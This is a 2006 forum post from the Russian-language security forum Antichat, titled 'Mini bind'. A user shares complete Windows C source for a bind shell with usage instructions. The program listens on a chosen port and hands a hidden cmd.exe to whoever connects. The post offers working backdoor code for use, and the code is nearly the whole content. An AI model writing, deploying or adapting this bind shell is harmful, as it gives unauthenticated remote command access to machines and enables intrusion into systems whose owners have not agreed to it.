ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Программирование_OLD > С/С++, C#, Delphi, .NET, Asm
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Мини бинд:)
  #10  
Старый 01.06.2006, 04:15
grinay
IQ- 137%
Регистрация: 15.06.2004
Сообщений: 441
Провел на форуме:
1212666

Репутация: 662
Отправить сообщение для grinay с помощью ICQ
По умолчанию Мини бинд:)

Код:
#include <winsock2.h>
 int main(int argc, char* argv[]){
   STARTUPINFO si;
   struct sockaddr_in sa;
   PROCESS_INFORMATION pi;
   int s;
   WSADATA HWSAdata;
   WSAStartup(0x101,&HWSAdata);
   s=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0,0);
   sa.sin_family=AF_INET;
   sa.sin_port=htons((unsigned short)atoi(argv[1]));
   sa.sin_addr.s_addr=0x00;
   bind(s,(struct sockaddr *)&sa, 16);
   listen(s,1);
   s= accept(s,(struct sockaddr *)&sa,NULL);
   si.cb=sizeof(si);
   si.wShowWindow=SW_HIDE;
   si.dwFlags=STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES;
   si.hStdInput=si.hStdOutput = si.hStdError = (void *) s;
   si.lpDesktop=si.lpTitle=(char *) 0x0000;
   si.lpReserved2=NULL;
   CreateProcess(NULL ,"cmd",NULL, NULL,TRUE,0,NULL,NULL,(STARTUPINFO*)&si,&pi);
}
Этот думаю по практичнее и по меньше
запуск идет так
bind.exe port
пример:
bind.exe 4567
__________________

 
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ